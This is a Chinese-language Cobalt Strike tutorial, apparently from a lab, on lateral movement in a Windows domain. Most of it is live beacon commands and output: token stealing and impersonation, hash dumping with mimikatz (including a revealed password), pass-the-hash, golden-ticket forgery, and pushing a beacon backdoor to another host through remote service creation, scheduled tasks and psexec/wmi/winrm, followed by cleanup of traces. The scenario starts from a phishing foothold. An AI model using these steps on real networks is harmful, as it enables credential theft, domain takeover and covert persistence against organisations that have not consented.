如果当前账号权限被系统认为是本地管理员权限,那么就可以执行很多管理员才能做的事,接下来就来看一下这样的一个过程是如何工作的,其中会涉及到以下要点:
Access Token
登录令牌Credentials
凭证Password Hashes
密码哈希Kerberos Tickets
登录凭据以下是令牌窃取的过程:
ps
列出进程steal_token [pid]
窃取令牌getuid
找到你是谁rev2self
移除令牌当前具有的system权限会话(提权至system权限),该会话在 win7 主机下,没有域控制器访问权限
关于windows用户组权限表可以看这张图(Windows 7中常见用户组的对照表来源:【Windows权限与用户和组】等级森严的Windows王国)
先用 ps
查看一下当前系统进程信息(第一行就是pid)
发现OCEAN0域下的管理帐号此时在当前 SYSTEM 会话的主机上是登录着的,使用 steal_token [pid]
命令窃取 TEAMSSIX\Administrator 账户的令牌
beacon> steal_token 4000
查看一下当前会话 uid
beacon> getuid
发现现在已经是域控管理员权限,再次尝试获取域控制器主机下的文件
使用 rev2self
可移除当前窃取的令牌
rev2self
1.使用 make_token 创建一个令牌
make_token DOMAIN\user password
# make_token OCEAN0\Administrator Ocean@123
在运行命令之前,需要知道要获取令牌用户的密码,这里可以使用 mimikatz 进行获取,具体的方法可参考上一节内容
当密码输入错误时,执行上面的两个命令就会提示
登录失败: 未知的用户名或错误密码。
同样的使用rev2self
可除去当前令牌,恢复原来的 SYSTEM 权限
获取权限后可以查看目录域控主机目录,这可以使用powerview执行命令(需要提权上传powerview.sp1,目标需要开启winrm)
powershell Invoke-Command -computer WIN-A9PLNLID2QM -ScriptBlock {
whoami}
2.使用 spawn beacon 替代凭证
spawnas DOMAIN\user password
# spawnas OCEAN0\Administrator Ocean@123
3.在目标上建立账户进行远程连接
net use \\host\C$/USER:DOMAIN\user password
使用 help 命令查看 pth 命令用法
beacon> help pth
Use: pth [DOMAIN\user] [NTLM hash]
Uses mimikatz to generate AND impersonate a token that uses the specified
DOMAIN, user, and NTLM hash as single sign-on credentials. Beacon will pass
this hash when you interact with network resources.
工作原理:
使用方法:
首先使用 hashdump
获取用户的密码哈希值,这里的 beacon 会话为 SYSTEM 权限
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1001:aad3b435b51404eeaad3b435b51404ee:a173c45dd09b8b14d9e5c11b10f2cfa9:::
spary:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
或者使用上一节的方法,powershell 加载 mimikatz 获取哈希
Authentication Id : 0 ; 849135 (00000000:000cf4ef)
Session : Interactive from 2
User Name : administrator
Domain : OCEAN0
SID : S-1-5-21-436250240-237335239-2342608000-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : OCEAN0
* LM : 1ca9515d7ed5c511b75e0c8d76954a50
* NTLM : d69a9d8eeee7621bacdf9d1d71ef1e06
* SHA1 : 2c0c71c98e0ded1b0a5d38222ec619d9d11d4446
tspkg :
* Username : Administrator
* Domain : OCEAN0
* Password : Ocean@123
wdigest :
* Username : Administrator
* Domain : OCEAN0
* Password : Ocean@123
kerberos :
* Username : administrator
* Domain : OCEAN.COM
* Password : Ocean@123
ssp :
credman :
使用 pth
命令获取信任
beacon> pth OCEAN0\Administrator d69a9d8eeee7621bacdf9d1d71ef1e06
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:OCEAN0 /ntlm:d69a9d8eeee7621bacdf9d1d71ef1e06 /run:"%COMSPEC% /c echo 06304b473c1 > \\.\pipe\e003ab" command
[+] host called home, sent: 438886 bytes
[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:
user : Administrator
domain : OCEAN0
program : C:\Windows\system32\cmd.exe /c echo 06304b473c1 > \\.\pipe\e003ab
impers. : no
NTLM : d69a9d8eeee7621bacdf9d1d71ef1e06
| PID 3212
| TID 140
| LSA Process is now R/W
| LUID 0 ; 2159933 (00000000:0020f53d)
\_ msv1_0 - data copy @ 0000000000339870 : OK !
\_ kerberos - data copy @ 00000000014D5A88
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 00000000002DE3B8 (16) -> null
这样的话是可以拿到域控权限并且访问域控主机目录的
最后使用命令移除当前窃取的令牌
rev2self
Kerberos
Kerberos是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证
在Kerberos认证中,最主要的问题是如何证明“你是你”的问题,如当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性,这正是Kerberos解决的问题。在域渗透过程中Kerberos协议的攻防也是很重要的存在
在Kerberos协议中主要是有三个角色的存在:
其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定
知乎有一篇文章形象生动的介绍了这个过程,我是链接
列出 Kerberos 票据
shell klist
除去 kerberos 票据
kerberos_ticket_purge
加载 kerberos 票据
kerberos_ticket_use [/path/to/file.ticket]
黄金票据 Golden Ticket
是 KRBTGT 帐户的 Kerberos 身份验证令牌,KRBTGT 帐户是一个特殊的隐藏帐户,用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户,从而使攻击者可以在网络内部不受注意地移动,内网中经常存在
使用 mimikatz 伪造黄金票据需要:
1. 目标的用户名及域名
2. 域的 SID 值
3. DC 中 KRBTGT 用户的 NTLM 哈希
目标的用户名及域名
直接使用shell命令获取
# 获取当前域
beacon> shell net view /domain
# 获取域内用户
beacon> shell net view /domain:[name]
域的 SID 值
域的 SID 值即安全标识符 Security Identifiers
,使用 whoami /user
命令可查看,注意不需要 SID 最后的一组数字
beacon> shell whoami /user
# 注意使用域用户权限的 Beacon 执行命令
SID 就是S-1-5-21-436250240-237335239-2342608000
DC 中 KRBTGT 用户的 NTLM 哈希
DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,也可以使用powershell加载mimikatz获取,这里直接使用之前获取的值d69a9d8eeee7621bacdf9d1d71ef1e06
右击会话,生成黄金票据
注意: Domain 需要填写成 FQDN 格式,即完全合格域名
Fully Qualified Domain Name
,也就是类似于teamssix.com
的格式
beacon> mimikatz kerberos::golden /user:Administrator /domain:ocean.com /sid:S-1-5-21-436250240-237335239-2342608000 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /endin:480 /renewmax:10080 /ptt
[*] Tasked beacon to run mimikatz's kerberos::golden /user:Administrator /domain:ocean.com /sid:S-1-5-21-436250240-237335239-2342608000 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /endin:480 /renewmax:10080 /ptt command
[+] host called home, sent: 438858 bytes
[+] received output:
User : Administrator
Domain : ocean.com (OCEAN)
SID : S-1-5-21-436250240-237335239-2342608000
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 31d6cfe0d16ae931b73c59d7e0c089c0 - rc4_hmac_nt
Lifetime : 2021/12/6 15:46:14 ; 2021/12/6 23:46:14 ; 2021/12/13 15:46:14
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'Administrator @ ocean.com' successfully submitted for current session
建立好黄金票据之后内可以使用命令判断当前权限(票据存在生存时间过期失效)
shell dir \\DC\C$
直接使用之前的环境就可以
环境介绍:
目前已经通过钓鱼攻击在CS中拿到Win7会话,发现域内账号配置问题导致win7上的域用户为域内成员服务器Winserver2008-2的本地管理员权限,接下来就是先拿到成员服务器server2008-2的会话,然后通过成员服务器server2008-2横向移动至域控制器
以在 Cobalt Strike 的 Attack -> Packages -> Windows Executable(s)
处进行创建,如果用于内网中的横向移动,那么强烈建议使用 SMB Beacon,SMB Beacon 就是为了内网横向扩展渗透而设计的
首先直接使用文件上传功能上传将后门上传到目标机器
接着复制文件到目标主机(winerver20082)的其他位置
shell copy file.exe \\host\C$\Windows\Temp
# 这里使用的Beacon应为拥有权限的域用户的Beacon,非system,可以列目录
beacon> shell dir \\SERVER20082\C$
# 这样上传也是可以的
beacon> upload /root/beacon.exe
[*] Tasked beacon to upload /root/Desktop/beacon.exe as beacon.exe
[+] host called home, sent: 289302 bytes
# 复制文件
beacon> shell copy C:\Users\win701\beacon.exe \\SERVER20082\C$\Windows\Temp\s.exe
[*] Tasked beacon to run: copy C:\Users\win701\beacon.exe \\SERVER20082\C$\Windows\Temp\s.exe
[+] host called home, sent: 92 bytes
[+] received output:
已复制 1 个文件。
生成 Windows Service EXE 并上传
在目标主机上创建一个服务
beacon> shell sc \\host create name binpath= c:\windows\temp\file.exe
# beacon> shell sc \\SERVER20082 create beacon binpath= c:\windows\temp\s.exe
[*] Tasked beacon to run: sc \\SERVER20082 create name binpath= c:\windows\temp\s.exe
[+] host called home, sent: 90 bytes
[+] received output:
[SC] CreateService 成功
注:记住 binpath 路径
在目标主机上启动服务
shell sc \\host start name
# beacon> shell sc \\SERVER20082 start beacon
beacon> shell sc \\wintest start beacon
[*] Tasked beacon to run: sc \\wintest start beacon
[+] host called home, sent: 56 bytes
[+] received output:
SERVICE_NAME: beacon
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 3816
FLAGS :
beacon> link wintest
[*] Tasked to link to \\wintest\pipe\msagent_da00
[+] host called home, sent: 36 bytes
[+] established link to child beacon: 192.168.175.130
4.清除痕迹与服务
shell sc \\host delete name
beacon> shell del beacon.exe
[*] Tasked beacon to run: del beacon.exe
[+] host called home, sent: 57 bytes
生成 Windows EXE 并上传,注意这里生成的 EXE 和方法一
生成的 EXE 是不一样的类型,这里生成的是Windows EXE
,不是方法一中的Windows Service EXE
,上传
shell copy C:\Users\win701\beacon.exe \\SERVER20082\C$\Windows\Temp\s.exe
找到目标系统上的时间
shell net time \\host
创建一个计划任务
shell at \\host HH:mm C:\path\to\bad.exe
# shell at \\SERVER20082 19:12 C:\Windows\Temp\s.exe
当计划任务被执行时,执行 link hostname 即可上线主机
beacon 的自动操作
前两种执行文件的方法都需要往磁盘里上传文件,如果不想往磁盘中上传文件,也可以使用 beacon 的自动操作
psexec [target] [share] [listener]
psexec_psh [target] [listener]
winrm [target] [listener]
wmi [target] [listener]
在 Cobalt Strike 的 viwe --> Targets
下,右击主机选择 Jump
也可以通过图形化的方式进行上述操作,这样也使得横向移动更加的简单